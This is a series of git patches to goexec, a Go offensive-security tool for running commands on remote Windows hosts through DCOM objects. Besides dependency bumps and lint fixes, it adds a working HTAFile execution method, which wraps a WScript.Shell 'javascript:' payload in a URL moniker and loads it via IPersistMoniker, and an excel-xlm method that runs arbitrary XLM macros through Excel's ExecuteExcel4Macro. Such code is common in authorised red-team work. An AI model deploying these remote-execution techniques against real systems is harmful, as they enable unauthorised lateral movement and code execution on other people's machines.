h1:sDZsoeOCwQSqndZQ4QFeEaAWrSUilNal2tPYhzPj18U= github.com/oiweiwei/go-msrpc v1.2.7/go.mod h1:UCclo9KdJ9TDNQw/RtFSgV8u9c+KhPvidtGeLeXj9ls= +github.com/oiweiwei/go-msrpc v1.2.8 h1:myqs335MG/BmNAxZ/+ojh4CFONMo35q5NockkG+6uBw= +github.com/oiweiwei/go-msrpc v1.2.8/go.mod h1:UCclo9KdJ9TDNQw/RtFSgV8u9c+KhPvidtGeLeXj9ls= github.com/oiweiwei/go-smb2.fork v1.0.0 h1:xHq/eYPM8hQEO/nwCez8YwHWHC8mlcsgw/Neu52fPN4= github.com/oiweiwei/go-smb2.fork v1.0.0/go.mod h1:h0CzLVvGAmq39izdYVHKyI5cLv6aHdbQAMKEe4dz4N8= github.com/oiweiwei/gokrb5.fork/v9 v9.0.4 h1:zHeZ/qjAAWrvsY1QltduANZLQ023APBYkPFJoHLA0ik= @@ -57,9 +59,14 @@ github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6 github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo= github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0= +github.com/spf13/cobra v1.10.1 h1:lJeBwCfmrnXthfAupyUTzJ/J4Nc1RsHC/mSRU2dll/s= +github.com/spf13/cobra v1.10.1/go.mod h1:7SmJGaTHFVBY0jW4NXGluQoLvhqFQM+6XSKD+P4XaB0= github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/pflag v1.0.7 h1:vN6T9TfwStFPFM5XzjsvmzZkLuaLX+HS+0SeFLRgU6M= github.com/spf13/pflag v1.0.7/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= +github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= @@ -75,6 +82,8 @@ golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5y golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= golang.org/x/crypto v0.41.0 h1:WKYxWedPGCTVVl5+WHSSrOBT0O8lx32+zxmHxijgXp4= golang.org/x/crypto v0.41.0/go.mod h1:pO5AFd7FA68rFak7rOAGVuygIISepHftHnr8dr6+sUc= +golang.org/x/crypto v0.42.0 h1:chiH31gIWm57EkTXpwnqf8qeuMUi0yekh6mT2AvFlqI= +golang.org/x/crypto v0.42.0/go.mod h1:4+rDnOTJhQCx2q7/j6rAN5XDw8kPjeaXEUR2eL94ix8= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -84,6 +93,8 @@ golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE= golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg= +golang.org/x/net v0.44.0 h1:evd8IRDyfNBMBTTY5XRF1vaZlD+EmWx6x8PkhR04H/I= +golang.org/x/net v0.44.0/go.mod h1:ECOoLqd5U3Lhyeyo/QDCEVQ4sNgYsqvCZ722XogGieY= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -97,17 +108,23 @@ golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI= golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= +golang.org/x/sys v0.36.0 h1:KVRy2GtZBrk1cBYA7MKu5bEZFxQk4NIDV6RLVcC8o0k= +golang.org/x/sys v0.36.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.34.0 h1:O/2T7POpk0ZZ7MAzMeWFSg6S5IpWd/RXDlM9hgM3DR4= golang.org/x/term v0.34.0/go.mod h1:5jC53AEywhIVebHgPVeg0mj8OD3VO9OzclacVrqpaAw= +golang.org/x/term v0.35.0 h1:bZBVKBudEyhRcajGcNc3jIfWPqV4y/Kt2XcoigOWtDQ= +golang.org/x/term v0.35.0/go.mod h1:TPGtkTLesOwf2DE8CgVYiZinHAOuy5AYUYT1lENIZnA= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng= golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU= +golang.org/x/text v0.29.0 h1:1neNs90w9YzJ9BocxfsQNHKuAT4pkghyXc4nhZ6sJvk= +golang.org/x/text v0.29.0/go.mod h1:7MhJOA9CD2qZyOKYazxdYMF85OwPdEr9jTtBpO7ydH4= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= diff --git a/pkg/goexec/dcom/htafile.go b/pkg/goexec/dcom/htafile.go new file mode 100644 index 0000000..e4cd7c0 --- /dev/null +++ b/pkg/goexec/dcom/htafile.go @@ -0,0 +1,161 @@ +package dcomexec + +import ( + "context" + "encoding/binary" + "fmt" + "strings" + + "github.com/FalconOpsLLC/goexec/pkg/goexec" + "github.com/oiweiwei/go-msrpc/midl/uuid" + "github.com/oiweiwei/go-msrpc/msrpc/dcom" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon/imoniker/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dcom/urlmon/ipersistmoniker/v0" + "github.com/oiweiwei/go-msrpc/msrpc/dtyp" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/hresult" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/ntstatus" + _ "github.com/oiweiwei/go-msrpc/msrpc/erref/win32" + "github.com/oiweiwei/go-msrpc/ndr" + "github.com/oiweiwei/go-msrpc/text/encoding/utf16le" + "github.com/rs/zerolog" +) + +const ( + MethodHtafile = "HTAFile" + HtafileUuid = "3050F4D8-98B5-11CF-BB82-00AA00BDCE0B" + serialUuid = "F4815879-1D3B-487F-AF2C-825DC4852763" + urlMonikerUuid = "79EAC9E0-BAF9-11CE-8C82-00AA004BA90B" +) + +const ( // See https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-oshared/1786df8e-b792-4a28-b7c5-4d9a91d2e401 + UriCreateAllowRelative uint32 = 0x00000001 + UriCreateAllowImplicitWildcardScheme uint32 = 0x00000002 + UriCreateAllowImplicitFileScheme uint32 = 0x00000004 + UriCreateNoFrag uint32 = 0x00000008 + UriCreateNoCanonicalize uint32 = 0x00000010 + UriCreateFileUseDosPath uint32 = 0x00000020 + UriCreateDecodeExtraInfo uint32 = 0x00000040 + UriCreateNoDecodeExtraInfo uint32 = 0x00000080 + UriCreateCanonicalize uint32 = 0x00000100 + UriCreateCrackUnknownSchemes uint32 = 0x00000200 + UriCreateNoCrackUnknownSchemes uint32 = 0x00000400 + UriCreatePreProcessHTMLURI uint32 = 0x00000800 + UriCreateNoPreProcessHTMLURI uint32 = 0x00001000 + UriCreateIESettings uint32 = 0x00002000 + UriCreateNoIESettings uint32 = 0x00004000 + UriCreateNoEncodeForbiddenChars uint32 = 0x00008000 + UriCreateNormalizeIntlChars uint32 = 0x00010000 +) + +type DcomHtafile struct { + Dcom + Url string + ipm ipersistmoniker.PersistMonikerClient +} + +// Init will initialize the ShellBrowserWindow instance +func (m *DcomHtafile) Init(ctx context.Context) (err error) { + if err = m.Dcom.Init(ctx); err != nil { + return err + } + opts, err := m.bindInstance(ctx, uuid.MustParse(HtafileUuid), ipersistmoniker.PersistMonikerIID) + if err != nil { + return fmt.Errorf("bind htafile instance: %w", err) + } + if m.ipm, err = ipersistmoniker.NewPersistMonikerClient(ctx, m.Client.Dce(), opts...); err != nil { + return fmt.Errorf("init IPersistMoniker client: %w", err) + } + return +} + +func (m *DcomHtafile) Execute(ctx context.Context, execIO *goexec.ExecutionIO) (err error) { + log := zerolog.Ctx(ctx) + if m.Url == "" { + m.Url = fmt.Sprintf(`javascript:new ActiveXObject(%q).Run(%q)`, `WScript.Shell`, execIO.String()) + } + mon, err := getUrlMoniker(m.Url, 0) + if err != nil { + return fmt.Errorf("create url moniker structure: %w", err) + } + log.Info().Str("URL", m.Url).Msg("calling Load method") + lrs, err := m.ipm.Load(ctx, &ipersistmoniker.LoadRequest{ + This: &dcom.ORPCThis{Version: m.comVersion}, + Name: mon, + }) + if err != nil { + return fmt.Errorf("IPersistMoniker.Load: %w", err) + } + if lrs.Return == 0 { + log.Info().Msg("Load call successful") + } else { + log.Warn().Msgf("Load call returned %d", lrs.Return) + } + _ = lrs + return +} + +type URLMoniker struct { + URL string + HasExtras bool // whether to include trailer with SerialGUID/SerialVersion/URIFlags on marshal + SerialVersion uint32 // should be 0 when HasExtras; preserved on unmarshal + URIFlags uint32 // the URICreateFlags bitmask (meaning per CreateUri) +} + +// MarshalBinary implements encoding.BinaryMarshaler. +func (m URLMoniker) MarshalBinary() ([]byte, error) { + // UTF-16LE encode URL + terminating NUL. + urlBytes, err := utf16le.Encode(m.URL + "\x00") + if err != nil { + return nil, err + } + var out []byte + if m.HasExtras { + out = make([]byte, 4+len(urlBytes)+16+4+4) + copy(out[4+len(urlBytes):], uuid.MustParse(serialUuid).EncodeBinary()) + binary.LittleEndian.PutUint32(out[4+len(urlBytes)+16:], m.SerialVersion) + binary.LittleEndian.PutUint32(out[4+len(urlBytes)+16+4:], m.URIFlags) + } else { + out = make([]byte, 4+len(urlBytes)) + } + binary.LittleEndian.PutUint32(out, uint32(len(out)-4)) + copy(out[4:], urlBytes) + + return out, nil +} + +func getUrlMoniker(url string, flags uint32) (*urlmon.Moniker, error) { + blob, err := URLMoniker{URL: url, HasExtras: true, URIFlags: flags}.MarshalBinary() + if err != nil { + return nil, err + } + objRef := &dcom.ObjectReference{ + Signature: ([]byte)(dcom.ObjectReferenceCustomSignature), + Flags: dcom.ObjectReferenceTypeCustom, + IID: imoniker.MonikerIID, + ObjectReference: &dcom.ObjectReference_ObjectReference{ + Value: &dcom.ObjectReference_Custom{ + Custom: &dcom.ObjectReferenceCustom{ + ClassID: (*dcom.ClassID)(dtyp.GUIDFromUUID(uuid.MustParse(urlMonikerUuid))), + Size: uint32(len(blob)), // TODO: Necessary? + ObjectData: blob, + }, + }, + }, + } + dat, err := ndr.Marshal(objRef, ndr.Opaque) + if err != nil { + return nil, err + } + return &urlmon.Moniker{Data: dat}, nil +} + +func CheckUrlLength(url string, execIO *goexec.ExecutionIO) (err error) { + if url == "" { + url = fmt.Sprintf(`javascript:new ActiveXObject(%q).Run(%q)`, `WScript.Shell`, execIO.String()) + } + if strings.HasPrefix(strings.ToLower(url), "javascript:") && len(url) > 508 { + return fmt.Errorf("URL length exceeds max (%d > 508)", len(url)) + } + return nil +} diff --git a/pkg/goexec/dcom/mmc.go b/pkg/goexec/dcom/mmc.go index 06f7c94..6d20d56 100644 --- a/pkg/goexec/dcom/mmc.go +++ b/pkg/goexec/dcom/mmc.go @@ -14,7 +14,7 @@ import ( ) const ( - MethodMmc = "MMC" // MMC20.Application::Document.ActiveView.ExecuteShellCommand + MethodMmc = "MMC20.Application" // MMC20.Application::Document.ActiveView.ExecuteShellCommand MmcUuid = "49B2791A-B1AE-4C90-9B8E-E860BA07F889" ) From fc6bde1f5ab1f1ce2898b1d806050a093cc829fa Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Fri, 26 Sep 2025 16:08:45 -0500 Subject: [PATCH 09/34] fix linter issue --- pkg/goexec/dcom/context.go | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/pkg/goexec/dcom/context.go b/pkg/goexec/dcom/context.go index 7483e7e..3af872d 100644 --- a/pkg/goexec/dcom/context.go +++ b/pkg/goexec/dcom/context.go @@ -40,12 +40,10 @@ func contextComVersion(ctx context.Context) *dcom.COMVersion { return &g } } - if v := ctx.Value(contextKeyGetComVersion); v != nil { - if g, ok := v.(bool); ok && !g { - return &dcom.COMVersion{ - MajorVersion: contextDefaultComVersionMajor, - MinorVersion: contextDefaultComVersionMinor, - } + if !contextGetComVersion(ctx) { + return &dcom.COMVersion{ + MajorVersion: contextDefaultComVersionMajor, + MinorVersion: contextDefaultComVersionMinor, } } return nil From ce37ecdb524fc5aeb62fdf090d41b9009693d0f2 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Fri, 26 Sep 2025 16:09:47 -0500 Subject: [PATCH 10/34] remove trailing whitespace in cmds --- pkg/goexec/io.go | 68 ++++++++++++++++++++++++------------------------ 1 file changed, 34 insertions(+), 34 deletions(-) diff --git a/pkg/goexec/io.go b/pkg/goexec/io.go index 52e76fc..874dd77 100644 --- a/pkg/goexec/io.go +++ b/pkg/goexec/io.go @@ -9,15 +9,15 @@ import ( ) type OutputProvider interface { - GetOutput(ctx context.Context, writer io.Writer) (err error) - Clean(ctx context.Context) (err error) + GetOutput(ctx context.Context, writer io.Writer) (err error) + Clean(ctx context.Context) (err error) } type ExecutionIO struct { - Cleaner + Cleaner - Input *ExecutionInput - Output *ExecutionOutput + Input *ExecutionInput + Output *ExecutionOutput } type ExecutionOutput struct { @@ -29,11 +29,11 @@ type ExecutionOutput struct { } type ExecutionInput struct { - StageFile io.ReadCloser - Executable string - ExecutablePath string - Arguments string - Command string + StageFile io.ReadCloser + Executable string + ExecutablePath string + Arguments string + Command string } func (execIO *ExecutionIO) GetOutput(ctx context.Context) (err error) { @@ -45,31 +45,31 @@ func (execIO *ExecutionIO) GetOutput(ctx context.Context) (err error) { } func (execIO *ExecutionIO) Clean(ctx context.Context) (err error) { - if execIO.Output.Provider != nil { - return execIO.Output.Provider.Clean(ctx) - } - return nil + if execIO.Output.Provider != nil { + return execIO.Output.Provider.Clean(ctx) + } + return nil } func (execIO *ExecutionIO) CommandLine() (cmd []string) { - if execIO.Output.Provider != nil && execIO.Output.RemotePath != "" { - return []string{ - `C:\Windows\System32\cmd.exe`, - fmt.Sprintf(`/C %s > %s 2>&1`, execIO.Input.String(), execIO.Output.RemotePath), - } - } - return execIO.Input.CommandLine() + if execIO.Output.Provider != nil && execIO.Output.RemotePath != "" { + return []string{ + `C:\Windows\System32\cmd.exe`, + fmt.Sprintf(`/C%s >%s 2>&1`, execIO.Input.String(), execIO.Output.RemotePath), + } + } + return execIO.Input.CommandLine() } func (execIO *ExecutionIO) String() (str string) { - cmd := execIO.CommandLine() - // Ensure that executable paths are quoted - if strings.Contains(cmd[0], " ") { - str = fmt.Sprintf(`%q %s`, cmd[0], strings.Join(cmd[1:], " ")) - } else { - str = strings.Join(cmd, " ") - } - return strings.Trim(str, " \t\n\r") // trim whitespace + cmd := execIO.CommandLine() + // Ensure that executable paths are quoted + if strings.Contains(cmd[0], " ") { + str = fmt.Sprintf(`%q %s`, cmd[0], strings.Join(cmd[1:], " ")) + } else { + str = strings.Join(cmd, " ") + } + return strings.TrimSpace(str) // trim whitespace } func (i *ExecutionInput) CommandLine() (cmd []string) { @@ -89,12 +89,12 @@ func (i *ExecutionInput) CommandLine() (cmd []string) { } func (i *ExecutionInput) String() string { - return strings.Join(i.CommandLine(), " ") + return strings.TrimSpace(strings.Join(i.CommandLine(), " ")) } func (i *ExecutionInput) Reader() (reader io.Reader) { - if i.StageFile != nil { - return i.StageFile - } - return strings.NewReader(i.String()) + if i.StageFile != nil { + return i.StageFile + } + return strings.NewReader(i.String()) } From f2b3150e918f617c98f6122c77ccb203793d2d12 Mon Sep 17 00:00:00 2001 From: Bryan McNulty Date: Mon, 29 Sep 2025 16:26:58 -0500 Subject: [PATCH 11/34] +method: `dcom excel-xlm` --- cmd/dcom.go | 64 ++++++++++++++++++++++++++++++++-- go.sum | 17 --------- pkg/goexec/dcom/excel.go | 75 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 137 insertions(+), 19 deletions(-) create mode 100644 pkg/goexec/dcom/excel.go diff --git a/cmd/dcom.go b/cmd/dcom.go index a3871b1..650a641 100644 --- a/cmd/dcom.go +++ b/cmd/dcom.go @@ -2,6 +2,9 @@ package cmd import ( "context" + "fmt" + "io" + "os" "github.com/FalconOpsLLC/goexec/pkg/goexec" dcomexec "github.com/FalconOpsLLC/goexec/pkg/goexec/dcom" @@ -19,6 +22,7 @@ func dcomCmdInit() { dcomShellWindowsCmdInit() dcomShellBrowserWindowCmdInit() dcomHtafileCmdInit() + dcomExcelXlmCmdInit() dcomCmd.PersistentFlags().AddFlagSet(defaultAuthFlags.Flags) dcomCmd.PersistentFlags().AddFlagSet(defaultLogFlags.Flags) @@ -28,6 +32,7 @@ func dcomCmdInit() { dcomShellWindowsCmd, dcomShellBrowserWindowCmd, dcomHtafileCmd, + dcomExcelXlmCmd, ) } @@ -106,11 +111,32 @@ func dcomHtafileCmdInit() { dcomHtafileCmd.MarkFlagsOneRequired("command", "exec", "url") } +func dcomExcelXlmCmdInit() { + dcomExcelXlmExecFlags := newFlagSet("Execution") + dcomExcelXlmExecFlags.Flags.StringVarP(&dcomExcelXlm.Macro, "macro", "M", "", "XLM macro") + dcomExcelXlmExecFlags.Flags.StringVar(&dcomExcelXlm.MacroFile, "macro-file", "", "XLM macro `file`") + registerExecutionFlags(dcomExcelXlmExecFlags.Flags) + registerExecutionOutputFlags(dcomExcelXlmExecFlags.Flags) + + cmdFlags[dcomExcelXlmCmd] = []*flagSet{ + dcomExcelXlmExecFlags, + defaultAuthFlags, + defaultLogFlags, + defaultNetRpcFlags, + } + dcomExcelXlmCmd.Flags().AddFlagSet(dcomExcelXlmExecFlags.Flags) + + // Constraints + dcomExcelXlmCmd.MarkFlagsOneRequired("command", "exec", "macro", "macro-file") + dcomExcelXlmCmd.MarkFlagsMutuallyExclusive("macro", "macro-file", "out") +} + var ( dcomMmc = dcomexec.DcomMmc{} dcomShellWindows = dcomexec.DcomShellWindows{} dcomShellBrowserWindow = dcomexec.DcomShellBrowserWindow{} dcomHtafile = dcomexec.DcomHtafile{} + dcomExcelXlm = dcomexec.DcomExcelXlm{} dcomCmd = &cobra.Command{ Use: "dcom", @@ -118,7 +144,7 @@ var ( Long: `Description: The dcom module uses exposed Distributed Component Object Model (DCOM) objects to spawn processes.`, GroupID: "module", - Args: cobra.NoArgs, + Args: cobra.ArbitraryArgs, } dcomMmcCmd = &cobra.Command{ @@ -188,7 +214,7 @@ var ( Use: "htafile [target]", Short: "Execute with the HTAFile DCOM object", Long: `Description: - The htafile method uses the exposed HTAFile DCOM object to load a remote HTA application or execute inline JScript. + The htafile method uses the exposed "HTML Application" DCOM object to load a remote HTA application or execute inline. This is made possible by the Load method of the IPersistMoniker interface.`, Args: args(argsRpcClient("host", ""), argsOutput("smb"), @@ -206,4 +232,38 @@ var ( } }, } + + dcomExcelXlmCmd = &cobra.Command{ + Use: "excel-xlm [target]", + Short: "Execute with the Excel.Application DCOM object using XLM macros", + Long: `Description: + The excel-xlm method uses the exposed Excel.Application DCOM object to call ExecuteExcel4Macro, thus executing + XLM macros at will.`, + Args: args(argsRpcClient("host", ""), argsOutput("smb"), + func(*cobra.Command, []string) error { + if dcomExcelXlm.MacroFile != "" { + f, err := os.Open(dcomExcelXlm.MacroFile) + if err != nil { + return fmt.Errorf("open macro file: %w", err) + } + defer func() { _ = f.Close() }() + b, err := io.ReadAll(f) + if err != nil { + return fmt.Errorf("read macro file: %w", err) + } + dcomExcelXlm.Macro = string(b) + } + return nil + }, + ), + Run: func(cmd *cobra.Command, args []string) { + dcomExcelXlm.Client = &rpcClient + ctx := log.With().Str("module", dcomexec.ModuleName).Str("method", dcomexec.MethodExcelXlm). + Logger().WithContext(gssapi.NewSecurityContext(context.Background())) + + if err := goexec.ExecuteCleanMethod(ctx, &dcomExcelXlm, &exec); err != nil { + log.Fatal().Err(err).Msg("Operation failed") + } + }, + } ) diff --git a/go.sum b/go.sum index 0965cd2..1fa7341 100644 --- a/go.sum +++ b/go.sum @@ -42,8 +42,6 @@ github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/ github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/oiweiwei/go-msrpc v1.2.7 h1:sDZsoeOCwQSqndZQ4QFeEaAWrSUilNal2tPYhzPj18U= -github.com/oiweiwei/go-msrpc v1.2.7/go.mod h1:UCclo9KdJ9TDNQw/RtFSgV8u9c+KhPvidtGeLeXj9ls= github.com/oiweiwei/go-msrpc v1.2.8 h1:myqs335MG/BmNAxZ/+ojh4CFONMo35q5NockkG+6uBw= github.com/oiweiwei/go-msrpc v1.2.8/go.mod h1:UCclo9KdJ9TDNQw/RtFSgV8u9c+KhPvidtGeLeXj9ls= github.com/oiweiwei/go-smb2.fork v1.0.0 h1:xHq/eYPM8hQEO/nwCez8YwHWHC8mlcsgw/Neu52fPN4= @@ -57,13 +55,8 @@ github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0= github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY= github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo= -github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0= github.com/spf13/cobra v1.10.1 h1:lJeBwCfmrnXthfAupyUTzJ/J4Nc1RsHC/mSRU2dll/s= github.com/spf13/cobra v1.10.1/go.mod h1:7SmJGaTHFVBY0jW4NXGluQoLvhqFQM+6XSKD+P4XaB0= -github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -github.com/spf13/pflag v1.0.7 h1:vN6T9TfwStFPFM5XzjsvmzZkLuaLX+HS+0SeFLRgU6M= -github.com/spf13/pflag v1.0.7/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk= github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= @@ -80,8 +73,6 @@ github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5t golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= -golang.org/x/crypto v0.41.0 h1:WKYxWedPGCTVVl5+WHSSrOBT0O8lx32+zxmHxijgXp4= -golang.org/x/crypto v0.41.0/go.mod h1:pO5AFd7FA68rFak7rOAGVuygIISepHftHnr8dr6+sUc= golang.org/x/crypto v0.42.0 h1:chiH31gIWm57EkTXpwnqf8qeuMUi0yekh6mT2AvFlqI= golang.org/x/crypto v0.42.0/go.mod h1:4+rDnOTJhQCx2q7/j6rAN5XDw8kPjeaXEUR2eL94ix8= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= @@ -91,8 +82,6 @@ golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE= -golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg= golang.org/x/net v0.44.0 h1:evd8IRDyfNBMBTTY5XRF1vaZlD+EmWx6x8PkhR04H/I= golang.org/x/net v0.44.0/go.mod h1:ECOoLqd5U3Lhyeyo/QDCEVQ4sNgYsqvCZ722XogGieY= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -106,23 +95,17 @@ golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod 